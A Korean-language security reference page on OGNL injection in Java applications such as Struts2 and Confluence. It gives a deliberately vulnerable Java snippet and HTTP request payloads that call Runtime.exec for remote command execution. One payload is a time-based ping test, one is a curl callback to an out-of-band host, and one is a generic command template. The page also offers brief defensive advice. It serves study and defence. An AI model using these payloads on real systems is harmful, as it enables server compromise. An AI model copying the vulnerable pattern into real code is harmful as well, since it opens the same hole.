OGNL Injection

Object-Graph Navigation Language Injection

Introduction

OGNL Injection은 OGNL(Object-Graph Navigation Language)에서 코드를 주입하는 Injection 공격을 의미하며, OGNL 자체가 Expression Language의 성격을 띄기 때문에 SSTI 또는 EL Injection 과 유사합니다.

OGNL

OGNL(Object-Graph Navigation Language)은 Java Application에서 사용되는 Expression Language (EL) 중 하나로 Apache 쪽 소프트웨어와 Java 기반 웹 어플리케이션에서 많이 사용되는 Language입니다.

대표적으로 Apache Struts2, Confluence, Atlassian, Mybatis, Apache Roller 등에서 사용됩니다.

문법에 대한 자세한 내용은 공식 문서를 참고해주세요.

Offensive techniques

Detect

다른 EL Injection과 유사하게 OGNL Expression 구문을 서버로 넘겨 취약 여부를 체크할 수 있습니다. 일반적으로 sleep 등을 이용한 Time-based, Callback을 이용한 OAST-Based로 식별합니다.

취약/공격 코드

Vuln Code

OgnlContext ctx = new OgnlContext();
String expression = request.getParameter("input");
Object expr = Ognl.parseExpression(expression);
Object value = Ognl.getValue(expr, ctx, root);
System.out.println("Value: " + value);

Attack Code

GET /query?input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1")) HTTP/1.1
Host: localhost

Time-Based

POST /query
Host: localhost

input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1"))

ping이 5회 호출되기 때문에 약 5초의 딜레이가 발생합니다.

OAST-Based

POST /query
Host: localhost

input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("curl <OAST-SERVICE>"))

OAST-SERVICE로 DNS Query와 HTTP Request가 도착하는 것을 확인하여 체크할 수 있습니다.

Exploitation

OGNL은 Server-Side에서 Expression에 따라 Java 클래스의 메소드를 실행할 수 있기 떄문에 보통 RCE로 이어집니다. 위에서 작성했던 예시와 같이 @java.lang.Runtime 등을 이용하여 명령을 실행할 수 있습니다.

(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("COMMANDS"))

또한 OGNL 처리가 Java SDK를 통해 Client 기반 Application에서 이루어진다면, Client를 대상으로 한 Code Execution이 발생할 수 있습니다.

Defensive techniques

기본적으로 사용자가 전달한 데이터를 신뢰하지 않는 것을 원칙으로 합니다. 가급적이면 내부에서 값을 처리해야하며 필요 시 사용자 입력값에 대해 정확하게 검증 후 사용되어야 합니다. 추가로 Structs2, Confluence 등 프레임워크나 외부 서비스단에서 발생한 이슈는 해당 벤더에서 패치가 필요하며 가급적이면 빠르게 적용하는 것이 좋습니다.

Articles

  • https://www.hahwul.com/2016/04/28/web-hacking-apache-struts2-recremote/
  • https://www.hahwul.com/2017/03/08/web-hacking-apache-struts2-remote-code/
  • https://www.hahwul.com/cullinan/ssti/
  • https://www.hahwul.com/cullinan/el-injection/

References

  • https://commons.apache.org/proper/commons-ognl/
  • https://commons.apache.org/proper/commons-ognl/language-guide.html
  • https://securitylab.github.com/research/ognl-injection-apache-struts/